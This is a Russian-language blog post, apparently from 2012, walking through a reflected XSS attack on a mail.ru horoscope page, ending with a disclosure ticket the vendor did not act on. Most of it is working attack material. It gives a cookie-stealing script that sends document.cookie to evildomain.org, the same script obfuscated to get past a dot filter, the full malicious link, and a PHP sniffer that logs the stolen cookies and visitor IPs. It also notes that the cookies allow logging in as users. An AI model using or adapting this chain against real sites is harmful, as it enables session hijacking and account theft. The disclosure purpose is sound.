Делать было нечего, дело было вечером.
Сидел как-то раз, обычный ничем не выдающийся скрипткидди дома, за своим холодным, но от этого не менее уютным ПК. В последнее время, он любил запихивать во всевозможные формы на форумах и сайтах различный наборов символов, так или иначе предназначенный для одной цели, разрушить html блок поля ввода. Он извращенец, ему доставляло удовольствие помогать людям. Администратор ресурса будучи поставленным в известность с его или без его помощи устранял найденную уязвимость, каждый такой случай был для него epic WIN.
Но этот вечер был необычным, потому что он не пошел на очередной форум, или частный сайт, он открыл mail.ru и подумал, почему нет?
Начало...
Первым делом надо было определить жертву
Для жертвы были выбраны «Леди» и «Гороскопы». Принцип отбора был таков — «какой из проектов менее интересен для it специалистов?».
Недолго попинав «Леди», принялся за «Гороскопы». Тут меня заинтересовал блок с гороскопами на все случаи жизни, который менялся при обновлении страницы.
Вставив незамысловатое ">Test видим:
Для начала не плохо. Теперь смотрим данные формы в которую будем отправлять свой злокод. Открываем исходник страницы и смотрим код уязвимого поля вывода данных:
Код формы ввода:
и код поля ввода:
Из чего извлекаем вот такую вот ссылку:
http:\horo.mail.ru/personal.html?type=prg&so_nm=
XSS
Пентесты
Следующим шагом, проверяем поле на фильтрацию символов.
Пройдем по ссылке:
http:\horo.mail.ru/personal.html?type=prg&so_nm=
text">-.-<a и видим что точка фильтруется
<a
используется как короткий отсекатель мусора, от остатков сломанного тега. Иначе будут обломки закрывающие предыдущий тег, вот так:
Мы определили, что поле фильтрует точку, т.е. "><script>alert();<script>
сработает, а вот
<script src="http://evildomain.org/g/evil.js"></script>
нет, т.к. на выходе получим
<script src="http://evildomainorg/g/eviljs"></script>
Обфускатор
Нам нужно выполнить на странице, код который передаст куки сниферу, например такой:
img=new Image();
img.src='https://evildomain.org/g/sniff.php?cookie='+document.cookie;
Для обхода фильтрации точки в коде, надо его обфусцировать, для этого скрипткидди используют разные ресурсы, в данном конкретном был использован www.javascriptobfuscator.com/default.aspx
Даём ему на входе обычный JS:
img=new Image();
img.src='https://evildomain.org/g/sniff.php?cookie='+document.cookie;
На выходе получаем достаточно злой JS, без точек:
var _0xdfd0=["x73x72x63","x68x74x74x70x3Ax2Fx2Fx65x76x69x6Cx64x6Fx6Dx61x69x6Ex2Ex6Fx72x67x2Fx67x2Fx73x6Ex69x66x66x2Ex70x68x70x3Fx63x6Fx6Fx6Bx69x65x3D","x63x6Fx6Fx6Bx69x65"];img= new Image();img[_0xdfd0[0]]=_0xdfd0[1]+document[_0xdfd0[2]];
Обрамляем <script>
и подставляем в нашу XSS, получаем зловредную ссылку:
http:\horo.mail.ru/personal.html?type=prg&so_nm="><script>var _0x984f=["x73x72x63","x68x74x74x70x3Ax2Fx2Fx7Ax6Fx72x67x2Ex74x6Bx2Fx67x2Fx73x6Ex69x66x66x2Ex70x68x70x3Fx63x6Fx6Fx6Bx69x65x3D","x63x6Fx6Fx6Bx69x65"];img= new Image();img[_0x984f[0]]=_0x984f[1]+document[_0x984f[2]];</script><a
Осталось разместить по ссылке http://evildomain.org/g/sniff.php
простейший снифер, который пишет логи в один файл, а куки в другой:
<?php
if (isset($_GET['cookie']))
{
$text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS of F Y h:i:s A');
$text .= "n".str_repeat("=", 22) . "n" . $_GET['cookie']."n".str_repeat("=", 22)."n";
$file = fopen("./sniff.txt", "a");
fwrite($file, $text);
fclose($file);
}
$date=date("[D|d/m/Y|H:i]");
$ip=getenv("Remote_addr");
$real_ip=getenv("HTTP_X_FORWARDED_FOR");
$otkuda=getenv("HTTP_REFERER");
$browser=getenv("HTTP_USER_AGENT");
$win=getenv("windir");
$uid=implode($argv," ");
$fp=fopen("./log.txt","a");
fputs($fp,"$datet|$uid|t$ip($real_ip)t$browsert$otkudat$winn");
fclose($fp);
?>
Всё готово.
Итого
Проверяем работу эксплоита в разных браузерах и убеждаемся что IE не такой уж плохой :), он как и Chrome, отбил XSS.
А сократив страшную ссылку выше или создав отдельную html форму в укромном месте, можно получить вполне съедобную и привычную ссылку, при нажатии на которую куки пользователей mail.ru (любителей FF и Opera) перетекут к вам:
Всё зависит от вашей фантазии, возможностей для компрометации море, авторизация под пользователем на всех ресурсах mail.ru, первая и самая очевидная.
Ответ mail.ru и бездействие
По уязвимости был открыт тикет от 29.06.2012: Ticket#2012062921010318
и получен ответ:
Здравствуйте.
Благодарим Вас за предоставленную информацию.
Ситуация передана нашим специалистам.
Спасибо за сотрудничество.
С уважением, Артем Д.
Служба поддержки пользователей
почтовой системы Mail.ru
Но уязвимость не закрыта по сей день, поэтому прошу администрацию mail.ru все таки принять меры.
Автор: zorgrhrd